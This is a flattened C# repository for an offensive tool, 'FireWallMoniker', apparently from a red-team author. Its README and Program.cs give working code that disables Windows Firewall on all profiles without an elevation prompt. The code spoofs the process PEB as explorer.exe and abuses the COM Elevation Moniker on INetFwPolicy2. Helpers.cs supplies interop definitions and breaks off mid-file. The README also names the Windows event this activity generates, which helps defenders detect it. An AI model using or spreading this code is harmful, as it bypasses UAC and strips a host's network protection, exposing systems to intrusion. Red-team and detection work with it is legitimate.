├── FireWallMoniker
├── App.config
├── Properties
│ └── AssemblyInfo.cs
├── FireWallMoniker.csproj
├── Program.cs
└── Helpers.cs
├── README.md
├── FireWallMoniker.sln
└── .gitignore
/FireWallMoniker/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/FireWallMoniker/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("FireWallMoniker")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("FireWallMoniker")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("84b4f2de-f07a-436f-98a8-ea60e9aabbd7")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # FirewallMoniker
2 | A C# implementation that will disable the Windows Firewall from a non elevated context of an admin user by modifying the PEB and using a COM Elevation Moniker (Elevation:Administrator!new:).
3 |
4 | FireWallMoniker utilizes COM interop to interact with the Windows Firewall through the INetFwPolicy2 interface.
5 |
6 | * E2B3C97F-6AE1-41AC-817A-F6F92166D7DD - HNetCfg.FwPolicy2 - C:\Windows\system32\FirewallControlPanel.dll,-12122
7 |
8 | * 98325047-C671-4174-8D81-DEFCD3F03186 - INetFwPolicy2
9 |
10 |
11 | # Notes
12 |
13 | * User needs to be part of admin group. Can execute from non elevated session.
14 | * Activity generates Event 2082 under Microsoft-Windows-Windows Firewall With Advanced Security/Firewall with modifying application ```C:\Windows\SysWOW64\dllhost.exe```
15 |
16 | # Reading Material
17 | * Sample from MSDN can be found here: https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ics/c-disabling-windows-firewall?redirectedfrom=MSDN
18 |
19 | * More about the COM elevation moniker: https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker
20 |
21 | * Original article at https://3gstudent.github.io/%E9%80%9A%E8%BF%87COM%E7%BB%84%E4%BB%B6NetFwPolicy2%E8%B6%8A%E6%9D%83%E5%85%B3%E9%97%AD%E9%98%B2%E7%81%AB%E5%A2%99
22 |
23 | # Credits
24 |
25 | Original idea and implementation came from https://github.com/3gstudent/Homework-of-C-Language/blob/e21cb129e15fd2186bd8ec1310bcc23c38ab209b/DisableFirewall.cpp
26 |
27 | Shouts to @trickster012 for nerding out :)
28 |
29 | Lefty (@lefterispan) 2024 - Nettitude RT
30 |
--------------------------------------------------------------------------------
/FireWallMoniker.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.9.34723.18
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FireWallMoniker", "FireWallMoniker\FireWallMoniker.csproj", "{84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Debug|x86 = Debug|x86
13 | Release|Any CPU = Release|Any CPU
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Debug|x64.ActiveCfg = Debug|x64
21 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Debug|x64.Build.0 = Debug|x64
22 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Debug|x86.ActiveCfg = Debug|x86
23 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Debug|x86.Build.0 = Debug|x86
24 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Release|Any CPU.Build.0 = Release|Any CPU
26 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Release|x64.ActiveCfg = Release|x64
27 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Release|x64.Build.0 = Release|x64
28 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Release|x86.ActiveCfg = Release|x86
29 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}.Release|x86.Build.0 = Release|x86
30 | EndGlobalSection
31 | GlobalSection(SolutionProperties) = preSolution
32 | HideSolutionNode = FALSE
33 | EndGlobalSection
34 | GlobalSection(ExtensibilityGlobals) = postSolution
35 | SolutionGuid = {8FF5451D-8B59-4788-9EAF-60C76D648CB1}
36 | EndGlobalSection
37 | EndGlobal
38 |
--------------------------------------------------------------------------------
/FireWallMoniker/FireWallMoniker.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {84B4F2DE-F07A-436F-98A8-EA60E9AABBD7}
8 | Exe
9 | FireWallMoniker
10 | FireWallMoniker
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 | false
45 |
46 |
47 | bin\x64\Release\
48 | TRACE
49 | true
50 | pdbonly
51 | x64
52 | 7.3
53 | prompt
54 | true
55 |
56 |
57 | true
58 | bin\x86\Debug\
59 | DEBUG;TRACE
60 | full
61 | x86
62 | 7.3
63 | prompt
64 | true
65 |
66 |
67 | bin\x86\Release\
68 | TRACE
69 | true
70 | pdbonly
71 | x86
72 | 7.3
73 | prompt
74 | true
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
--------------------------------------------------------------------------------
/FireWallMoniker/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.Runtime.InteropServices;
4 | using System.Runtime.InteropServices.ComTypes;
5 | using System.Text;
6 | using FireWallMoniker;
7 | using static FireWallMoniker.Helpers;
8 |
9 |
10 | namespace FireWallMoniker
11 | {
12 | class Program
13 | {
14 | private static void DisableFirewall(Helpers.INetFwPolicy2 firewallPolicy, Helpers.NET_FW_PROFILE_TYPE2_ profile)
15 | {
16 | try
17 | {
18 | firewallPolicy.put_FirewallEnabled(profile, false);
19 | Console.WriteLine($"[+] {profile} Firewall Disabled.");
20 | }
21 | catch (Exception ex)
22 | {
23 | Console.WriteLine($"[!] Failed to disable firewall for {profile}: {ex.Message}");
24 | }
25 | }
26 |
27 | public static void wall()
28 | {
29 | string[] brickWall = new string[]
30 | {
31 | "=========================================================================================",
32 | "|| || || || || || || || || || || || || || || || || || || || || || || || || || || || || ||",
33 | "|| || || || || || || || || || || || || || || || || || || || || || || || || || || || || ||",
34 | "=========================================================================================",
35 | "|| || || || || || || || || || ||Firewall Moniker|| || || || || || || || || || || || || ||",
36 | "|| || || || || || || || || || || Lefty@2024 || || || || || || || || || || || || || || ||",
37 | "=========================================================================================",
38 | "|| || || || || || || || || || || || || || || || || || || || || || || || || || || || || ||",
39 | "|| || || || || || || || || || || || || || || || || || || || || || || || || || || || || ||",
40 | "========================================================================================="
41 | };
42 |
43 | foreach (var line in brickWall)
44 | {
45 | Console.WriteLine(line);
46 | }
47 | }
48 |
49 | public static void patch()
50 | {
51 | //PEB technique from https://github.com/zcgonvh/TaskSchedulerMisc/blob/dd02f0ed7ebd2612647aaedc3dec952d0d0ab97d/schuac.cs#L23
52 | Console.Write("[+] Patching PEB to become explorer.exe");
53 | var explorer = "explorer.exe";
54 | var explorer2 = @"c:\windows\explorer.exe";
55 | var PPEB = RtlGetCurrentPeb();
56 | PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));
57 | bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;
58 | var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));
59 | var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));
60 | RtlInitUnicodeString(pImagePathName, explorer2);
61 | RtlInitUnicodeString(pCommandLine, explorer2);
62 |
63 | PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));
64 | LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;
65 | var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
66 | var first = pFlink;
67 | do
68 | {
69 | LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
70 | if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)
71 | {
72 | pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
73 | continue;
74 | }
75 | try
76 | {
77 | if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))
78 | {
79 | RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), explorer2);
80 | RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), explorer);
81 | LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
82 | break;
83 | }
84 | }
85 | catch { }
86 | pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
87 | } while (pFlink != first);
88 | Console.WriteLine("\n[+] Process PEB is patched!");
89 | }
90 |
91 |
92 | [return: MarshalAs(UnmanagedType.Interface)]
93 | static object CoCreateInstanceElevated(IntPtr parentWindow, Type comClass, object xxxx)
94 | {
95 | var monikerName = "Elevation:Administrator!new:" + comClass.GUID.ToString("B").ToUpper();
96 | var bo = new BIND_OPTS3();
97 | bo.cbStruct = (uint)Marshal.SizeOf(typeof(BIND_OPTS3));
98 | bo.hwnd = parentWindow;
99 | bo.dwClassContext = CLSCTX.CLSCTX_LOCAL_SERVER;
100 |
101 | Guid unknownGuid = Guid.Parse("98325047-C671-4174-8D81-DEFCD3F03186");
102 | var obj = CoGetObject(monikerName, ref bo, unknownGuid);
103 | return obj;
104 | }
105 |
106 | [STAThread]
107 | static void Main(string[] args)
108 | {
109 | try
110 | {
111 | wall();
112 | patch();
113 |
114 | int hrInit = CoInitializeEx((IntPtr)(0), 0x2); // COINIT_APARTMENTTHREADED
115 | if (hrInit < 0)
116 | {
117 | Console.WriteLine($"[!] CoInitializeEx failed: 0x{hrInit:X8}");
118 | return;
119 | }
120 | try
121 | {
122 | var hwnd = GetConsoleWindow();
123 |
124 | object pNetFwPolicy2Obj;
125 | Guid CLSID_NetFwPolicy2 = new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD");
126 | Guid IID_INetFwPolicy2 = new Guid("98325047-C671-4174-8D81-DEFCD3F03186");
127 |
128 | int hr = CoCreateInstance(ref CLSID_NetFwPolicy2, IntPtr.Zero, CLSCTX.CLSCTX_ALL, ref IID_INetFwPolicy2, out pNetFwPolicy2Obj);
129 | if (hr != 0) // S_OK is 0
130 | {
131 | Console.WriteLine($"[!] CoCreateInstance for INetFwPolicy2 failed: 0x{hr:X8}");
132 | return;
133 | }
134 | object obj = null;
135 | Type comCls = Type.GetTypeFromProgID("HNetCfg.FwPolicy2");
136 | obj = CoCreateInstanceElevated((IntPtr)0, comCls, pNetFwPolicy2Obj);
137 |
138 | Helpers.INetFwPolicy2 firewallPolicy = obj as Helpers.INetFwPolicy2;
139 | if (firewallPolicy == null)
140 | {
141 | Console.WriteLine("[!] Failed to cast to INetFwPolicy2.");
142 | return;
143 | }
144 |
145 | DisableFirewall(firewallPolicy, Helpers.NET_FW_PROFILE_TYPE2_.NET_FW_PROFILE2_DOMAIN);
146 | DisableFirewall(firewallPolicy, Helpers.NET_FW_PROFILE_TYPE2_.NET_FW_PROFILE2_PRIVATE);
147 | DisableFirewall(firewallPolicy, Helpers.NET_FW_PROFILE_TYPE2_.NET_FW_PROFILE2_PUBLIC);
148 |
149 | Marshal.ReleaseComObject(firewallPolicy);
150 | }
151 | catch (COMException comEx)
152 | {
153 | Console.WriteLine($"[!] COM Exception: {comEx.Message}");
154 | }
155 | catch (Exception ex)
156 | {
157 | Console.WriteLine($"[!] General Exception: {ex.Message}");
158 | }
159 | finally
160 | {
161 | CoUninitialize();
162 | }
163 |
164 | Console.WriteLine("[+] Windows Firewall disabled for Domain, Private, and Public profiles.");
165 | }
166 | catch (Exception ex)
167 | {
168 | Console.WriteLine($"[!] Error: {ex.Message}");
169 | }
170 | }
171 | }
172 | }
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.tlog
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
298 | *.vbp
299 |
300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
301 | *.dsw
302 | *.dsp
303 |
304 | # Visual Studio 6 technical files
305 | *.ncb
306 | *.aps
307 |
308 | # Visual Studio LightSwitch build output
309 | **/*.HTMLClient/GeneratedArtifacts
310 | **/*.DesktopClient/GeneratedArtifacts
311 | **/*.DesktopClient/ModelManifest.xml
312 | **/*.Server/GeneratedArtifacts
313 | **/*.Server/ModelManifest.xml
314 | _Pvt_Extensions
315 |
316 | # Paket dependency manager
317 | .paket/paket.exe
318 | paket-files/
319 |
320 | # FAKE - F# Make
321 | .fake/
322 |
323 | # CodeRush personal settings
324 | .cr/personal
325 |
326 | # Python Tools for Visual Studio (PTVS)
327 | __pycache__/
328 | *.pyc
329 |
330 | # Cake - Uncomment if you are using it
331 | # tools/**
332 | # !tools/packages.config
333 |
334 | # Tabs Studio
335 | *.tss
336 |
337 | # Telerik's JustMock configuration file
338 | *.jmconfig
339 |
340 | # BizTalk build output
341 | *.btp.cs
342 | *.btm.cs
343 | *.odx.cs
344 | *.xsd.cs
345 |
346 | # OpenCover UI analysis results
347 | OpenCover/
348 |
349 | # Azure Stream Analytics local run output
350 | ASALocalRun/
351 |
352 | # MSBuild Binary and Structured Log
353 | *.binlog
354 |
355 | # NVidia Nsight GPU debugger configuration file
356 | *.nvuser
357 |
358 | # MFractors (Xamarin productivity tool) working folder
359 | .mfractor/
360 |
361 | # Local History for Visual Studio
362 | .localhistory/
363 |
364 | # Visual Studio History (VSHistory) files
365 | .vshistory/
366 |
367 | # BeatPulse healthcheck temp database
368 | healthchecksdb
369 |
370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
371 | MigrationBackup/
372 |
373 | # Ionide (cross platform F# VS Code tools) working folder
374 | .ionide/
375 |
376 | # Fody - auto-generated XML schema
377 | FodyWeavers.xsd
378 |
379 | # VS Code files for those working on multiple tools
380 | .vscode/*
381 | !.vscode/settings.json
382 | !.vscode/tasks.json
383 | !.vscode/launch.json
384 | !.vscode/extensions.json
385 | *.code-workspace
386 |
387 | # Local History for Visual Studio Code
388 | .history/
389 |
390 | # Windows Installer files from build outputs
391 | *.cab
392 | *.msi
393 | *.msix
394 | *.msm
395 | *.msp
396 |
397 | # JetBrains Rider
398 | *.sln.iml
399 |
--------------------------------------------------------------------------------
/FireWallMoniker/Helpers.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace FireWallMoniker
6 | {
7 | internal class Helpers
8 | {
9 | #region Structures
10 |
11 | public struct PROCESS_BASIC_INFORMATION
12 | {
13 | public IntPtr ExitStatus;
14 | public IntPtr PebBaseAddress;
15 | public IntPtr AffinityMask;
16 | public IntPtr BasePriority;
17 | public UIntPtr UniqueProcessId;
18 | public int InheritedFromUniqueProcessId;
19 |
20 | public int Size => Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION));
21 | }
22 |
23 | [StructLayout(LayoutKind.Sequential)]
24 | public struct UNICODE_STRING
25 | {
26 | public UInt16 Length;
27 | public UInt16 MaximumLength;
28 | public IntPtr Buffer;
29 | }
30 |
31 | [StructLayout(LayoutKind.Sequential)]
32 | public struct PEB
33 | {
34 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
35 | public Byte[] Reserved1;
36 | public Byte BeingDebugged;
37 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
38 | public Byte[] Reserved2;
39 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
40 | public IntPtr[] Reserved3;
41 | public IntPtr Ldr;
42 | public IntPtr ProcessParameters;
43 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)]
44 | public IntPtr[] Reserved4;
45 | public IntPtr AtlThunkSListPtr;
46 | public IntPtr Reserved5;
47 | public ulong Reserved6;
48 | public IntPtr Reserved7;
49 | public ulong Reserved8;
50 | public ulong AtlThunkSListPtr32;
51 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 45)]
52 | public IntPtr[] Reserved9;
53 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
54 | public Byte[] Reserved10;
55 | public IntPtr PostProcessInitRoutine;
56 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)]
57 | public Byte[] Reserved11;
58 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
59 | public IntPtr[] Reserved12;
60 | public ulong SessionId;
61 | }
62 |
63 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
64 | public struct PEB_LDR_DATA
65 | {
66 | public UInt32 Length;
67 | public UInt32 Initialized;
68 | public UInt64 SsHandleIntPtr;
69 | public LIST_ENTRY InLoadOrderModuleList;
70 | public LIST_ENTRY InMemoryOrderModuleList;
71 | public LIST_ENTRY InInitializationOrderModuleList;
72 | public IntPtr EntryInProgress;
73 | }
74 |
75 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
76 | public struct LDR_DATA_TABLE_ENTRY
77 | {
78 | public LIST_ENTRY InLoadOrderLinks;
79 | public LIST_ENTRY InMemoryOrderLinks;
80 | public LIST_ENTRY InInitializationOrderLinks;
81 | public IntPtr DllBase;
82 | public IntPtr EntryPoint;
83 | public IntPtr SizeOfImage;
84 | public UNICODE_STRING FullDllName;
85 | public UNICODE_STRING BaseDllName;
86 | }
87 |
88 | [StructLayout(LayoutKind.Sequential)]
89 | public struct LIST_ENTRY
90 | {
91 | public IntPtr Flink;
92 | public IntPtr Blink;
93 | }
94 |
95 | [StructLayout(LayoutKind.Sequential)]
96 | public struct BIND_OPTS3
97 | {
98 | public uint cbStruct;
99 | public int grfFlags;
100 | public int grfMode;
101 | public int dwTickCountDeadline;
102 | public int dwTrackFlags;
103 | public CLSCTX dwClassContext;
104 | public int locale;
105 | public IntPtr pServerInfo;
106 | public IntPtr hwnd; // HWND is a pointer
107 | }
108 |
109 | #endregion
110 |
111 | #region Enums
112 |
113 | [Flags]
114 | public enum CLSCTX : int
115 | {
116 | CLSCTX_INPROC_SERVER = 0x1,
117 | CLSCTX_INPROC_HANDLER = 0x2,
118 | CLSCTX_LOCAL_SERVER = 0x4,
119 | CLSCTX_REMOTE_SERVER = 0x10,
120 | CLSCTX_ALL = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER
121 | }
122 |
123 | public enum NET_FW_PROFILE_TYPE2_
124 | {
125 | NET_FW_PROFILE2_DOMAIN = 1,
126 | NET_FW_PROFILE2_PRIVATE = 2,
127 | NET_FW_PROFILE2_PUBLIC = 4,
128 | NET_FW_PROFILE2_ALL = 2147483647
129 | }
130 |
131 | public enum NET_FW_RULE_DIRECTION_
132 | {
133 | NET_FW_RULE_DIR_IN = 1,
134 | NET_FW_RULE_DIR_MAX = 3,
135 | NET_FW_RULE_DIR_OUT = 2
136 | }
137 |
138 | public enum NET_FW_ACTION_
139 | {
140 | NET_FW_ACTION_BLOCK,
141 | NET_FW_ACTION_ALLOW,
142 | NET_FW_ACTION_MAX
143 | }
144 |
145 | public enum NET_FW_MODIFY_STATE_
146 | {
147 | NET_FW_MODIFY_STATE_OK,
148 | NET_FW_MODIFY_STATE_GP_OVERRIDE,
149 | NET_FW_MODIFY_STATE_INBOUND_BLOCKED
150 | }
151 |
152 | #endregion
153 |
154 | #region COM Interfaces
155 |
156 | [ComImport, Guid("98325047-C671-4174-8D81-DEFCD3F03186")]
157 | public interface INetFwPolicy2
158 | {
159 | [DispId(1)]
160 | int CurrentProfileTypes { get; }
161 |
162 | [DispId(2)]
163 | bool get_FirewallEnabled(NET_FW_PROFILE_TYPE2_ profileType);
164 |
165 | [DispId(2)]
166 | void put_FirewallEnabled(NET_FW_PROFILE_TYPE2_ profileType, bool enabled);
167 |
168 | [DispId(3)]
169 | object ExcludedInterfaces { get; set; }
170 |
171 | [DispId(4)]
172 | bool BlockAllInboundTraffic { get; set; }
173 |
174 | [DispId(5)]
175 | bool NotificationsDisabled { get; set; }
176 |
177 | [DispId(6)]
